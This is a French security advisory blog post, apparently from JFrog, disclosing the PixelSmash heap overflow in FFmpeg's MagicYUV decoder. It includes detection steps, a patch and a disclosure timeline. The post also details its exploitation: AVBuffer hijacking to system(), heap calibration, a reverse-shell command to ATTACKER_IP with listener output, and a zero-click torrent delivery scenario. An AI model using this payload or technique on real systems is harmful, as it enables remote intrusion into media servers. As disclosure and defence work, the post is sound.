PixelSmash : une vulnérabilité critique dans FFmpeg transforme les fichiers multimédias en armes

Une vulnérabilité critique dans le décodeur MagicYUV de FFmpeg entraîne une exécution de code à distance via un fichier multimédia spécialement conçu

Pixelsmash - 863x300

L’équipe de recherche en sécurité de JFrog a récemment découvert et divulgué une vulnérabilité critique dans FFmpeg, le framework de traitement multimédia le plus largement déployé au monde. La vulnérabilité découverte, que nous avons baptisée PixelSmash, porte l’identifiant CVE-2026-8461 . Il s’agit d’une écriture hors limites dans le tas au niveau du décodeur MagicYUV (CVSS 8.8 élevée). Nous avons fait passer cette vulnérabilité d’un simple plantage à une exécution de code à distance fiable : il suffit de traiter un seul fichier multimédia malveillant.

L’écriture hors limites suffit à faire planter toute application utilisant FFmpeg : des lecteurs vidéo de bureau comme Kodi et mpv aux générateurs de miniatures des gestionnaires de fichiers Linux, en passant par les pipelines de transcodage cloud et les serveurs multimédias auto-hébergés. Nous avons démontré l’exploit complet en obtenant une exécution de code à distance sur deux cibles indépendantes : un serveur multimédia Jellyfin (via une analyse automatique de la bibliothèque) et une instance Nextcloud (via le fournisseur d’aperçus vidéo), dans les deux cas, en téléversant simplement un fichier AVI spécialement conçu de 50 Ko.

Il est recommandé aux utilisateurs de FFmpeg de passer à la version corrigée dès que possible. Si le décodeur MagicYUV n’est pas nécessaire, il peut être désactivé lors du build (voir notre section « Solutions de contournement » ci-dessous).

FFmpeg est intégré ou lié par pratiquement toutes les applications de traitement multimédia sur toutes les plateformes, ce qui signifie que la surface d’exposition est considérable. Nous avons confirmé des plantages sur Kodi, mpv, ffmpegthumbnailer (utilisé par GNOME, KDE, XFCE), Jellyfin, Emby, Nextcloud, Immich, PhotoPrism et OBS Studio, entre autres, et démontré une exécution de code à distance complète sur Jellyfin.

PixelSmash est une vulnérabilité de la chaîne d’approvisionnement logicielle : un seul bug dans un seul décodeur de codec au sein de FFmpeg, une dépendance fondamentale intégrée dans des centaines de projets en aval, se répercute sur chaque application qui est liée à libavcodec. Aucun des projets concernés (Jellyfin, mpv, Nextcloud, Immich, OBS, vLLM et bien d’autres) n’a introduit ce bug. Ils en ont hérité silencieusement via leur dépendance à FFmpeg, et la plupart ne disposent d’aucun mécanisme pour le détecter ou l’atténuer de manière indépendante.

Dans cet article de blog technique, nous expliquerons la cause profonde de la vulnérabilité, détaillerons l’exploitation étape par étape, du plantage à l’exécution de code, et démontrerons une exécution de code à distance en conditions réelles sur un serveur multimédia Jellyfin, d’un simple fichier vidéo téléversé à un reverse shell.

Nous tenons à remercier les équipes de sécurité de FFmpeg et Jellyfin pour leur réactivité dans le traitement de ces problèmes.

Qui est affecté par PixelSmash ?

Prérequis de l’attaque

Afin d’exploiter PixelSmash, un auteur d’attaque doit fournir un fichier multimédia spécialement conçu (conteneur AVI, MKV ou MOV) à toute application qui décode la vidéo à l’aide de libavcodec de FFmpeg. Il s’agit notamment des éléments suivants :

  • Bureau : un utilisateur ouvre le fichier malveillant dans un lecteur vidéo, ou parcourt simplement un dossier le contenant (le générateur de miniatures du gestionnaire de fichiers déclenche la vulnérabilité)
  • Côté serveur : un utilisateur téléverse le fichier sur un serveur multimédia (Jellyfin, Emby, Nextcloud, Immich), une plateforme de discussion (Slack, Discord, Telegram) ou un service de transcodage cloud (AWS MediaConvert, Cloudflare Stream) ; le serveur le traite automatiquement
  • Embarqué/IoT : tout appareil NAS (Synology, QNAP), smart TV ou appareil multimédia qui génère des miniatures ou des aperçus vidéo

Aucune authentification, aucun privilège spécial ou accès préalable au système cible n’est requis au-delà de la capacité de livrer un fichier multimédia, la surface d’attaque par défaut de toute application de traitement multimédia.

Détection

Pour détecter si votre système inclut le décodeur MagicYUV vulnérable, exécutez :

ffmpeg -decoders 2>/dev/null | grep magicyuv

Si la sortie inclut VFS..D magicyuv, votre build FFmpeg est vulnérable. Le décodeur MagicYUV est activé par défaut dans chaque build FFmpeg en amont et dans chaque package de distribution que nous avons testé (Ubuntu, Debian, Fedora, Arch, Alpine) avant la version 9.0.

Solutions de contournement

S’il n’est pas immédiatement possible de mettre à niveau FFmpeg :

Option 1 – Procéder au rebuild de FFmpeg avec le décodeur vulnérable désactivé :

./configure --disable-decoder=magicyuv [your other flags]<
make && make install

 

Option 2 – Appliquer le correctif minimal (7 lignes ajoutées à libavcodec/magicyuv.c) :


     if (s->slice_height <= 0 || s->slice_height > INT_MAX -  avctx->coded_height) {
         av_log(avctx, AV_LOG_ERROR, "invalid slice height: %d\n",    s->slice_height);
         return AVERROR_INVALIDDATA;
     }
+    if ((s->slice_height >> s->vshift[1]) <= s->interlaced) {
+        av_log(avctx, AV_LOG_ERROR, "impossible slice height\n");
+        return AVERROR_INVALIDDATA;
+    }
+    if ((avctx->coded_height % s->slice_height) && ((avctx->coded_height % +        s->slice_height) >> s->vshift[1]) <= s->interlaced) {
+        av_log(avctx, AV_LOG_ERROR, "impossible height\n");
+        return AVERROR_INVALIDDATA;

 

Cela rejette les valeurs slice_height mal formées qui déclenchent l’écriture OOB. L’encodeur MagicYUV de référence émet toujours des hauteurs de tranche alignées, de sorte que cela ne rejette que les entrées malveillantes.

Plongée dans la vulnérabilité PixelSmash

FFmpeg et codecs multimédias : une surface d’attaque universelle

FFmpeg est l’épine dorsale du traitement multimédia dans l’ensemble de l’écosystème logiciel. Il est lié ou intégré par la quasi-totalité des applications qui traitent de la vidéo : des lecteurs de bureau (mpv, VLC) aux serveurs multimédias auto-hébergés (Jellyfin, Plex, Emby), en passant par les pipelines de transcodage cloud (AWS MediaConvert, Cloudflare Stream) et les environnements de bureau Linux (GNOME, KDE, XFCE l’utilisent pour les miniatures vidéos).

La bibliothèque libavcodec de FFmpeg contient des décodeurs pour des centaines de codecs vidéo et audio. Chaque décodeur analyse les données du flux de bits contrôlé par l’auteur de l’attaque et écrit les pixels décodés dans des tampons de trame alloués sur le tas. Un bug dans n’importe quel décodeur est accessible depuis toute application qui traite le format multimédia correspondant, ce qui fait des bugs de codec l’une des classes de vulnérabilités ayant le plus d’impact dans l’écosystème logiciel.

MagicYUV est un codec vidéo sans perte conçu pour les workflows de montage vidéo haute performance. Bien qu’il ne soit pas aussi connu que H.264 ou VP9, son décodeur est compilé dans chaque build FFmpeg par défaut et enregistré pour les conteneurs AVI, MKV et MOV. Toute application capable d’ouvrir un fichier vidéo peut déclencher le décodeur MagicYUV.

CVE-2026-8461 : écriture hors limites dans le tas dans le décodeur MagicYUV

Contexte

En compression vidéo, une tranche est une région distincte, divisée horizontalement, d’une seule image vidéo qui peut être décodée indépendamment du reste de l’image.

La vidéo numérique stocke rarement les images en RVB (rouge, vert, bleu) standard. Au lieu de cela, elle utilise l’espace colorimétrique YUV, qui divise une image en couches ou « plans » distincts :

  • Y (plan Luma) : les détails de luminosité ou d’échelle de gris de l’image. L’œil humain est incroyablement précis pour détecter la luminosité.
  • U et V (plans Chroma) : les informations de couleur réelles. L’œil humain perçoit beaucoup moins bien les détails fins de couleur.

La cause profonde : un écart d’arrondi

La vulnérabilité est un dépassement de tampon sur le tas d’une ligne dans la gestion des tranches du décodeur MagicYUV, causé par une incohérence entre la façon dont l’allocateur de trames et le décodeur calculent la hauteur des plans Chroma.

MagicYUV encode la vidéo en tranches horizontales. Pour les formats de pixels sous-échantillonnés comme YUV420P (où les plans Chroma ont la moitié de la résolution verticale du plan Luma), le décodeur doit convertir les hauteurs de tranche des lignes Luma en lignes Chroma à l’aide de décalages à droite arrondis à l’entier supérieur.

Le problème : lorsque slice_height est impair, le décalage arrondi à l’entier supérieur (AV_CEIL_RSHIFT) ajoute une ligne supplémentaire par tranche. Sur plusieurs tranches, ces lignes supplémentaires s’accumulent au-delà de la fin du tampon qui a été alloué pour le plan Chroma.

Le problème peut être décomposé selon les étapes suivantes :

1. L’allocateur de trames calcule la hauteur que doit avoir le tampon du plan de chrominance. Dans update_frame_pool (get_buffer.c), la hauteur de la trame est alignée sur 32, puis divisée par deux pour Chroma :

allocated chroma rows = AV_CEIL_RSHIFT(FFALIGN(32, 32), 1) = 16

Le tampon du plan de chrominance est alloué pour 16 lignes.

2. Le décodeur lit slice_height directement à partir du flux de bits contrôlé par l’auteur de l’attaque (magicyuv.c:550) :

s->slice_height = bytestream2_get_le32u(&gb);

Avec notre valeur spécialement conçue de slice_height = 31 et coded_height = 32, le décodeur calcule :

// magicyuv.c:559 - number of slices
s->nb_slices = (32 + 31 - 1) / 31 = 2;

// magicyuv.c:275 - chroma rows per slice (ceiling-rounded)
int sheight = AV_CEIL_RSHIFT(31, 1) = 16;

3. Pour la deuxième (dernière) tranche, le décodeur calcule le pointeur de destination :


// magicyuv.c:287
dst = p->data[1] + j * height * stride
    = p->data[1] + 1 * 16 * stride    // row 16 of a 16-row buffer!

Le tampon Chroma comporte les lignes 0 à 15 (16 lignes). Le décodeur écrit à la ligne 16, une ligne complète au-delà de la fin de l’allocation.

4. L’écriture OOB se déclenche. En mode brut, le décodeur copie directement les octets contrôlés par l’attaquant :


// magicyuv.c:291-294
for (k = 0; k < height; k++) {
    bytestream_get_buffer(&slice, dst, width);  // OOB WRITE
    dst += stride;
}

 

Avec width = 640 (pour notre coded_width = 1280, divisé par deux pour Chroma), cela dépose 640 octets entièrement contrôlés par l’auteur de l’attaque dans le bloc de tas qui suit immédiatement le tampon du plan Chroma.

La validation existante de slice_height dans magicyuv.c:566 vérifie uniquement le chemin de code entrelacé – le chemin non entrelacé que nous exploitons ne comporte aucun contrôle d’alignement :


// magicyuv.c:566-568 - guard ONLY for interlaced mode
if (s->interlaced) {
    if ((s->slice_height >> s->vshift[1]) < 2)

 

Le rapport ASAN du master en amont confirme précisément le débordement :


==PID==ERROR: AddressSanitizer: heap-buffer-overflow
WRITE of size 512 at 0x52500000214f thread T0
    #2 bytestream_get_buffer  libavcodec/bytestream.h:367
    #3 magy_decode_slice      libavcodec/magicyuv.c:292
    #5 magy_decode_frame      libavcodec/magicyuv.c:630

0x52500000214f is located 0 bytes after 8271-byte region

 

Schéma1 : disposition du tas

Pixelsmash -

De l’écriture OOB à l’exécution de code : détournement d’AVBuffer

Un dépassement de tas n’est utile que si l’attaquant peut écraser quelque chose de significatif. Dans la disposition du tas de FFmpeg, la réponse est la structure AVBuffer, l’objet de gestion de tampon à comptage de références que FFmpeg alloue immédiatement après les données de pixels de chaque plan.

Lorsque FFmpeg termine le décodage d’une image, il appelle av_frame_unref, qui parcourt la référence de tampon de chaque plan et appelle av_buffer_unref. Dans av_buffer_unref (libavutil/buffer.c:133), lorsque le compteur de références atteint zéro :

buf->free(buf->opaque, buf->data);

 

Il s’agit d’un appel indirect via un pointeur de fonction stocké dans le tas. Si nous pouvons écraser buf->free avec l’adresse de system() de libc et buf->opaque avec un pointeur vers une chaîne de commande shell, l’appel indirect devient :

system(cmd_string);   // attacker's shell command executes

 

Notre écriture OOB de 640 octets tombe directement sur la structure AVBuffer pour le plan Chroma Cb. La disposition du tas dans la région OOB (capturée via GDB sur la version de jellyfin-ffmpeg 7.1.3 fournie avec Jellyfin) :

 


OOB + 0:     [88 bytes of zeros - command string hole]
OOB + 88:    [glibc chunk headers - must be preserved]
OOB + 256:   AVBuffer struct:
  +256         .data      = Cb_data pointer
  +264         .size      = 0x284f
  +272         .refcount  = 1          <- we write 1
  +280         .free      =  <- we overwrite with &system
  +288         .opaque    =  <- we overwrite with &cmd_string OOB + 384: AVBufferRef.buffer -> points back to AVBuffer at +256

 

L’exploit place une commande shell terminée par NUL au décalage OOB 0 (le trou de zéros de 88 octets exempt de métadonnées glibc), puis écrase :

  • AVBuffer.free -> adresse de libc system()
  • AVBuffer.opaque -> adresse du tas de la chaîne de commande à OOB + 0
  • AVBuffer.refcount -> 1 (de sorte que la décrémentation atteigne zéro et déclenche l’appel)

Lorsque av_buffer_unref se déclenche pendant le nettoyage normal des trames, l’appel indirect devient system(“attacker_command”). Le processus enfant du shell dupliqué exécute la commande avant que le processus parent FFmpeg ne plante suite à une corruption ultérieure du tas, l’effet secondaire s’est déjà produit.

Le défi critique : les en-têtes de blocs malloc de la glibc au sein de la région OOB doivent être conservés à l’identique, sinon les appels à free() sur des allocations non liées détecteront une corruption et interrompront le processus avant que notre av_buffer_unref détournée ne s’exécute. Notre exploit encode les métadonnées exactes du chunk observées dans le tas de la cible dans la charge utile OOB, en utilisant un encodage par prédiction gauche pour correspondre à l’algorithme de décompression de MagicYUV.

Schéma2 : flux d’exploitation

Pixelsmash Schéma 2

Du plantage à la RCE : escalader la primitive

L’écriture OOB dans le tas n’est pas seulement un déni de service. Nous l’avons fait évoluer en une exécution de commandes arbitraires fiable contre la version de FFmpeg 7.1.3 fournie avec Jellyfin.

Avertissement important : l’ASLR a été désactivé pour cette démonstration. Notre exploit nécessite des adresses codées en dur pour system() et la chaîne de commande OOB, ce qui signifie qu’il ne fonctionne de manière déterministe qu’avec l’ASLR désactivé (setarch x86_64 -R). Dans une configuration Linux par défaut avec l’ASLR activé, les adresses sont rendues aléatoires à chaque exécution, et l’exploit n’aboutit pas. Cependant, nous avons identifié une vulnérabilité de fuite d’informations distincte dans le décodeur FlashSV de FFmpeg (libavcodec/flashsv.c), une divulgation de mémoire tas non initialisée présente dans FFmpeg en amont depuis juillet 2022 et qui n’a toujours pas été corrigée au moment de la publication. Elle ne peut être exploitée qu’en utilisant des indicateurs d’environnement spécifiques pour ffmpeg (par ex., -threads 1), la gravité est donc uniquement informative. En principe, une fuite d’informations similaire qui pourrait être découverte à l’avenir pourrait être associée à l’écriture OOB de MagicYUV afin de contourner l’ASLR et d’exécuter du code à distance (RCE) malgré la présence de toutes les mesures d’atténuation, mais cet enchaînement nécessite des recherches supplémentaires et n’a pas été démontré. L’écriture OOB MagicYUV seule (sans contournement d’ASLR) suffit pour un DoS fiable contre chaque cible testée.

L’escalade a nécessité de relever trois défis d’ingénierie :

  1. Calibrage précis de la disposition du tas : la charge utile OOB doit écrire les bonnes valeurs aux bons décalages pour atteindre la structure AVBuffer. Nous avons créé un pipeline d’autocalibrage basé sur GDB qui capture l’état exact du tas avant le déclenchement de l’écriture OOB, extrait tous les qwords de métadonnées de blocs et génère un fichier AVI/MKV/MOV d’exploit chirurgical.
  2. Préservation de l’intégrité des blocs glibc : la région OOB de 640 octets contient les en-têtes de bloc malloc glibc (pointeurs de liste libre, tailles de bloc, indicateurs PREV_INUSE). Si même un seul d’entre eux est corrompu, les contrôles d’intégrité de glibc interrompent le processus avant l’exécution de notre av_buffer_unref détourné. Notre exploit conserve exactement les 33 qwords de métadonnées tels qu’ils apparaissent dans le tas actif.
  3. Préservation OOB du plan Cr : les deux plans Chroma Cb et Cr comportent des écritures OOB (une ligne chacun). La région OOB Cr contient une entrée tcache et le bloc principal glibc. Si la taille du bloc principal est corrompue, les appels malloc internes de system() pour fork()/exec() échouent. Notre exploit encode les métadonnées exactes du tas Cr pour les préserver.

Exploitation dans le monde réel : RCE du serveur multimédia Jellyfin

Afin de démontrer l’impact concret, nous avons obtenu une exécution de code à distance complète sur un serveur multimédia Jellyfin 10.11.9, le deuxième serveur multimédia auto-hébergé le plus populaire (après Plex), via son pipeline d’analyse de bibliothèque multimédia classique.

Chemin d’attaque : le téléchargement d’un fichier AVI MagicYUV spécialement conçu dans la bibliothèque multimédia -> Jellyfin déclenche automatiquement ffprobe pour l’extraction des métadonnées -> l’écriture OOB se déclenche -> AVBuffer.free est détourné vers system() -> une commande arbitraire s’exécute en tant qu’utilisateur du service jellyfin (uid 115).

Calibrage : pourquoi la disposition du tas est importante

La disposition du tas de la région OOB dépend des arguments exacts de la ligne de commande ffprobe et de la longueur du chemin d’accès au fichier d’entrée. Nous l’avons découvert au cours de trois cycles complets de recalibrage :

  1. Les arguments de base déplacent le tas : l’invocation de ffprobe par Jellyfin inclut des indicateurs non présents dans un appel ffprobe simple (capturés via strace sur le processus Jellyfin en cours d’exécution) :

ffprobe -analyzeduration 200M -probesize 1G -threads 0 -v warning
        -print_format json -show_streams -show_chapters -show_format
        -show_frames -only_first_vframe -i file:

 

  1. L’indicateur -threads 0 déplace le tas de ~0x200 : l’option de multithreading entraîne des allocations de contexte de thread supplémentaires qui déplacent le tampon Chroma vers une autre adresse de tas.
  2. La longueur du chemin d’accès au fichier décale le tas d’environ 0x40 par classe de longueur : file:/tmp/test.avi (chemin court) produit une disposition différente de file:/var/lib/jellyfin/media/movies/Summer_Memories_2026.avi (chemin de production). Les noms de fichiers de même longueur produisent des agencements identiques — c’est l’élément clé qui rend l’exploit déterministe pour un déploiement connu.

L’exploit

Notre calibrage final vise un chemin d’accès au fichier de 60 caractères (correspondant à la structure de la bibliothèque multimédia par défaut de Jellyfin). L’exploit AVI :

  • Place la commande shell (bash -c ‘bash -i >&amp; /dev/tcp/ATTACKER_IP/4444 0>&amp;1’) dans la zone de zéros de 88 octets, à l’offset OOB 0.
  • Conserve les 33 qwords de métadonnées de bloc glibc dans la région OOB Cb
  • Préserve l’entrée tcache et le bloc principal de la région OOB Cr (critique : si la taille du bloc principal est corrompue, le chemin interne fork()/exec() de system() échoue)
  • Remplace AVBuffer.free par system() et AVBuffer.opaque par l’adresse de la chaîne de commande

L’intégralité de la charge utile d’exploitation devient un seul fichier AVI de 50 Ko (mais il peut également s’agir d’un conteneur MKV ou MOV).

Résultat : reverse shell à partir d’un téléversement de vidéo

Nous avons configuré un écouteur sur la machine de l’auteur de l’attaque et déclenché une analyse de la bibliothèque Jellyfin (avec l’ASLR désactivé pour cette démonstration, voir la discussion sur l’ASLR ci-dessus). Quelques secondes après le traitement du fichier téléversé par le ffprobe de Jellyfin, nous avons obtenu un reverse shell s’exécutant en tant qu’utilisateur du service Jellyfin :

$ nc -l 4444
jellyfin@ubuntu-vm:~$ id
uid=115(jellyfin) gid=121(jellyfin) groups=121(jellyfin),29(audio),44(video),100(users)
jellyfin@ubuntu-vm:~$ whoami
jellyfin

Depuis le contexte utilisateur Jellyfin, un auteur d’attaque a accès à toutes les bibliothèques multimédias, à la configuration du serveur, aux clés API et (selon le déploiement) peut être en mesure d’effectuer un pivotement/mouvement latéral vers d’autres services du réseau.

Attaque zéro clic via des téléchargements de torrents

Un vecteur de diffusion réel particulièrement dangereux est le téléchargement de torrents ciblant les bibliothèques de serveurs multimédias. De nombreux utilisateurs de Jellyfin configurent leur client torrent (qBittorrent, Transmission, Deluge) pour télécharger directement dans le dossier de bibliothèque multimédia surveillé de Jellyfin, par exemple, /var/lib/jellyfin/media/movies/.

L’attaque ne nécessite aucune interaction au-delà du téléchargement initial du torrent :

  • L’auteur de l’attaque distribue un fichier AVI MagicYUV malveillant déguisé en film populaire sur un tracker torrent public (par ex., Blockbuster_Movie_2026_1080p.avi, 50 Ko)
  • Le client torrent de la victime télécharge le fichier directement dans le dossier de la bibliothèque multimédia de Jellyfin
  • Le moniteur de système de fichiers en temps réel de Jellyfin détecte le nouveau fichier et déclenche automatiquement une analyse des métadonnées ffprobe
  • L’exploit se déclenche pendant l’analyse : AVBuffer.free est détourné vers system(), et la commande de reverse shell de l’auteur de l’attaque s’exécute en tant qu’utilisateur du service jellyfin

Aucune interaction de l’utilisateur n’est requise une fois le torrent terminé. La victime n’a jamais besoin d’ouvrir, de lire ou même de regarder le fichier, l’analyse automatique de la bibliothèque de Jellyfin fait le reste. Cela fait du vecteur torrent un véritable exploit zéro clic dans les configurations courantes de serveur multimédia domestique.

Le même vecteur s’applique à tout pipeline multimédia automatisé où les fichiers téléchargés arrivent dans un répertoire surveillé : Sonarr/Radarr -> Jellyfin, NZBGet -> Emby ou à tout modèle de « dossier surveillé » qui déclenche un traitement basé sur ffmpeg sur les nouveaux fichiers.

Schéma3 : attaque dans le monde réel

Schéma Pixelsmash 3

Remarque sur jemalloc : Le fichier /etc/default/jellyfin de Jellyfin contient une ligne LD_PRELOAD commentée pour libjemalloc2. Si un utilisateur ou une distribution l’active, la disposition différente du tas de jemalloc empêcherait l’exploit calibré pour glibc d’aboutir, mais rien dans la configuration par défaut n’est conçu pour empêcher l’attaque, cela ne se produit que par hasard dans ce cas. Dans l’installation apt par défaut, jemalloc n’est pas activé, et la disposition du tas glibc requise par notre exploit est celle que ffprobe utilise de base.

Exploitation dans le monde réel : RCE Nextcloud via la génération d’aperçus

Pour démontrer la polyvalence de l’exploit à travers différentes applications et versions de FFmpeg, nous avons porté la chaîne RCE sur Nextcloud, la plateforme de stockage cloud auto-hébergée leader du secteur, qui utilise un build FFmpeg entièrement indépendant.

Nextcloud propose un fournisseur d’aperçus de films en option (OC\Preview\Movie) qui invoque le fichier binaire ffmpeg du système pour la génération de miniatures. En cas d’activation, le simple fait de parcourir l’application Fichiers déclenche la vulnérabilité pour toute vidéo ne disposant pas d’un aperçu mis en cache.

L’auteur de l’attaque n’a besoin d’aucune interaction au-delà du fait de s’assurer que le fichier est visible dans une liste de dossiers ; le traitement côté serveur se charge du reste, ce qui en fait un vecteur quasi zéro clic.

Un exemple de chemin d’attaque : un utilisateur téléverse l’AVI spécialement conçu via l’interface web -> le fichier apparaît dans la vue Fichiers -> Nextcloud lance ffmpeg pour l’extraction des métadonnées et des aperçus -> l’écriture OOB MagicYUV se déclenche -> AVBuffer.free est détourné vers system() -> des commandes arbitraires s’exécutent en tant qu’utilisateur www-data.

Le contexte www-data est d’une valeur élevée : il donne un accès direct à toutes les données utilisateur, aux identifiants de base de données dans config.php, et offre un puissant point de pivot vers le réseau interne.

L’exploitation est entièrement silencieuse. Dans l’interface Web, le seul indicateur est une icône de fichier générique là où devrait se trouver une vignette. Aucune erreur ni aucun pop-up n’alerte l’utilisateur, et le plantage qui en résulte est enfoui dans les journaux côté serveur qui ne sont généralement pas surveillés par les administrateurs.

Veuillez consulter la vidéo ci-dessous pour plus de détails :

Impact sur l’écosystème : DoS sur chaque pile multimédia

Même sans la chaîne RCE, l’écriture OOB MagicYUV seule provoque des plantages immédiats sur toutes les applications de traitement multimédia grand public que nous avons testées :

Cible Utilisation de FFmpeg Comportement en cas de plantage
mpv (lecteur de bureau) Lie la bibliothèque système libavcodec munmap_chunk() : pointeur non valide – SIGABRT
Kodi Lie la bibliothèque système libavcodec Plantage
ffmpegthumbnailer (GNOME/KDE/XFCE) Lie la bibliothèque système libavcodec SIGSEGV, image de la mémoire abandonnée
Jellyfin 10.11.9 jellyfin-ffmpeg 7.1.3 intégré Corruption silencieuse du tas (pas de plantage, pas d’erreur)
Emby 4.8.11 emby-ffmpeg 5.1 intégré Corruption silencieuse du tas, exit 0
Nextcloud (worker d’aperçus) ffmpeg système via shell-out Plantage + RCE en tant que www-data | Configuration non par défaut (fournisseur d’aperçus de films)
Immich (service de transcodage) ffmpeg système SIGABRT
PhotoPrism (extrait d’affiche) ffmpeg système SIGABRT
OBS Studio libavcodec système Plantage

 

Le fichier ne fait que 50 Ko et fonctionne sur trois formats de conteneur :

Conteneur MagicYUV est-il accepté ? Fait planter FFmpeg ?
AVI Oui Oui
MKV / Matroska Oui Oui
MOV/QuickTime Oui Oui
MP4 Non (codec absent du registre MP4) N/A

Une vulnérabilité de la chaîne d’approvisionnement au rayon d’action potentiellement énorme

Le tableau ci-dessus illustre pourquoi PixelSmash est, à la base, une vulnérabilité de la chaîne d’approvisionnement. La bibliothèque libavcodec de FFmpeg est la bibliothèque standard de décodage multimédia, intégrée en tant que dépendance transitive dans pratiquement toutes les applications traitant de la vidéo. Le décodeur MagicYUV est fourni activé par défaut dans chaque build en amont, et les projets en aval en héritent sans aucune activation explicite.

Cela signifie qu’un seul bug dans magicyuv.c (600 lignes de code spécifique au codec que la plupart des mainteneurs en aval n’ont jamais lues) se propage silencieusement à mpv, Jellyfin, Emby, Nextcloud, Immich, PhotoPrism, OBS, vLLM et des centaines d’autres projets. Chacun de ces projets fait confiance à FFmpeg pour gérer en toute sécurité les entrées non fiables. Aucun d’entre eux n’a la visibilité ni l’expertise pour auditer les décodeurs de codecs individuels. Voici le problème de la chaîne d’approvisionnement en résumé ; votre surface d’attaque inclut chaque ligne de code de chaque dépendance que vous livrez, que vous l’ayez lue ou non.

L’approche de Plex, à savoir compiler FFmpeg avec –disable-decoders et une liste d’autorisations minimale, est la seule défense efficace que nous ayons observée. C’est aussi le plus rare : de tous les projets que nous avons testés, seul Plex franchit cette étape.

Schéma4 : impact sur la chaîne d’approvisionnement

Schéma Pixelsmash 4

La corruption silencieuse du tas est pire qu’un plantage

Jellyfin et Emby traitent le fichier malveillant avec le code exit 0 et sans sortie d’erreur. Ce n’est pas un signe de sécurité ; le tas est silencieusement corrompu dans un cas comme dans l’autre. Les builds de la même version de ffmpeg instrumentés par ASAN confirment que la même écriture OOB de 640 octets se déclenche. Le binaire de production ne déclenche tout simplement pas le contrôle d’intégrité de la glibc sur le bloc corrompu.

Un serveur Jellyfin fonctionnant depuis longtemps traite des centaines de téléversements malveillants, accumulant une corruption du tas à chaque fois, sans aucun signal d’erreur pour l’administrateur. C’est peut-être le pire mode de défaillance : le serveur fait l’objet d’une exploitation active, et rien dans aucun journal n’en informe l’opérateur.

Amplification des coûts du SaaS (en théorie)

Chaque pipeline cloud de traitement vidéo qui accepte des fichiers multimédias téléversés par les utilisateurs exécute des workers basés sur ffmpeg. Les tâches qui ont échoué sont retentées, et chaque nouvelle tentative déclenche à nouveau le plantage :

Budget de tentatives Amplification des coûts par téléversement de 50 Ko
AWS Lambda par défaut (3 tentatives) 13,7x
Sidekiq par défaut (25 tentatives) ~114x
AWS Step Functions (MaxAttempts : 10) ~46x

 

Un téléversement continu de fichiers malveillants à 1 Ko/s (bien en dessous de toute limite de débit) coûtera au défenseur, en théorie, ~200 $/jour rien que sur AWS Lambda. Le ratio de coût asymétrique aux tarifs du trafic réseau sortant est d’environ 50 000:1 en faveur de l’auteur de l’attaque.

La surface d’attaque au-delà de la lecture vidéo directe

La vulnérabilité peut être déclenchée depuis n’importe quel chemin de code qui achemine un flux MagicYUV via le décodeur de libavcodec. Au-delà de la lecture directe, cela inclut :

  • Génération de miniatures : les gestionnaires de fichiers Linux (Nautilus, Dolphin, Thunar) déclenchent ffmpegthumbnailer lorsqu’un utilisateur parcourt simplement un répertoire contenant le fichier malveillant, aucun clic n’est requis
  • Génération d’aperçus : les appareils NAS (Synology DSM, QNAP), les gestionnaires de photos (Immich, PhotoPrism) et le stockage cloud (Nextcloud – RCE confirmée, voir ci-dessus) génèrent des miniatures lors du téléversement
  • Extraction des métadonnées : les serveurs multimédias exécutent ffprobe pour extraire les informations de flux, l’analyse automatique de Jellyfin se déclenche à chaque nouveau fichier de la bibliothèque
  • Pipelines de ML/d’IA : vLLM et autres frameworks d’IA multimodaux qui utilisent PyAV/libavcodec pour décoder les entrées vidéo (DoS confirmé, 3/3 SIGSEGV)
  • Plateformes de discussion : Slack, Discord, Telegram et WhatsApp génèrent toutes des aperçus vidéo côté serveur à l’aide de ffmpeg (architecture documentée dans leurs blogs d’ingénierie ; non testée en production)

Surfaces d’attaque émergentes : IA/ML et au-delà

La portée de la vulnérabilité s’étend bien au-delà des applications médias traditionnelles. Nous avons recommandé que plusieurs cibles à haute valeur de l’écosystème IA/ML traitent les vidéos via FFmpeg et fassent l’objet d’une analyse d’exposition :

Cible Utilisation de FFmpeg Impact
vLLM Utilise PyAV (liaisons FFmpeg en processus) pour décoder les entrées vidéo pour l’inférence LLM multimodale. Nous avons confirmé le DoS : 3/3 SIGSEGV. Plantage du worker d’inférence ; dans les déploiements partagés, il fait planter le processus de mise en service pour tous les utilisateurs
LLaVA / LLaVA-NeXT Modèles vision-langage multimodaux. Le pipeline de décodage utilise PyAV ou OpenCV. Plantage du worker ; risque de corruption du tas dans les processus de mise en service à longue durée d’exécution
OpenCV (cv2.VideoCapture) Lie la bibliothèque système libavcodec. Utilisé partout dans les pipelines d’entraînement ML. SIGABRT lors de tout VideoCapture.read() du fichier malveillant
Ensembles de données Hugging Face Ensembles de données vidéo chargés via un sous-processus PyAV ou ffmpeg. Plantage lors du chargement de l’ensemble de données ; des entrées d’ensemble de données empoisonnées pourraient provoquer un DoS sur les exécutions d’entraînement
NVIDIA DALI Pipeline de chargement de données accéléré par GPU. Peut utiliser le backend FFmpeg. Plantage du worker ; défaillance potentielle en cascade lors de l’entraînement distribué
Ray Data/Ray Serve Traitement distribué des données et mise en service de modèle. Le plantage se propage aux workers Ray ; une seule vidéo malveillante perturbe le cluster
Roboflow / Supervisely / CVAT Plateformes d’annotation CV. Ingérez les vidéos téléversées par les utilisateurs. Plantage côté serveur lors du téléversement ; corruption du tas dans les workers d’annotation

 

Le point commun entre toutes ces cibles : elles acceptent des vidéos provenant de sources non fiables (téléversements d’utilisateurs, web scraping, ensembles de données publics, invites de modèles) et les traitent via libavcodec sans filtrage de codec. Le décodeur MagicYUV est activé dans chaque build par défaut.

Nous avons validé l’impact du DoS directement sur vLLM et confirmé le plantage. L’exploitation RCE via la primitive d’écrasement d’AVBuffer ne se transpose pas directement depuis FFmpeg 7.1.3 vers libavcodec 4.4 (la version liée par PyAV sur Ubuntu 22.04) en raison d’une géométrie de disposition du tas différente : la structure AVBuffer se situe 14 Ko avant la fin du plan Chroma plutôt que 256 octets après celle-ci, la plaçant hors de portée de l’écriture OOB. Cependant, d’autres stratégies d’exploitation (attaque fastbin via les métadonnées de bloc dans la plage OOB, ou détournement de vtable _IO_FILE) demeurent viables et justifient des recherches plus approfondies.

Nous recommandons aux équipes exploitant une infrastructure d’IA/ML traitant des entrées vidéo d’auditer leur dépendance FFmpeg et d’appliquer le correctif ou de désactiver le décodeur MagicYUV.

Calendrier de divulgation

Date Event
13 mai 2026 L’équipe de recherche en sécurité JFrog a signalé la vulnérabilité à l’équipe de sécurité FFmpeg (ffmpeg-security@ffmpeg.org).
19 mai 2026 L’équipe de sécurité de FFmpeg a accusé réception du rapport.
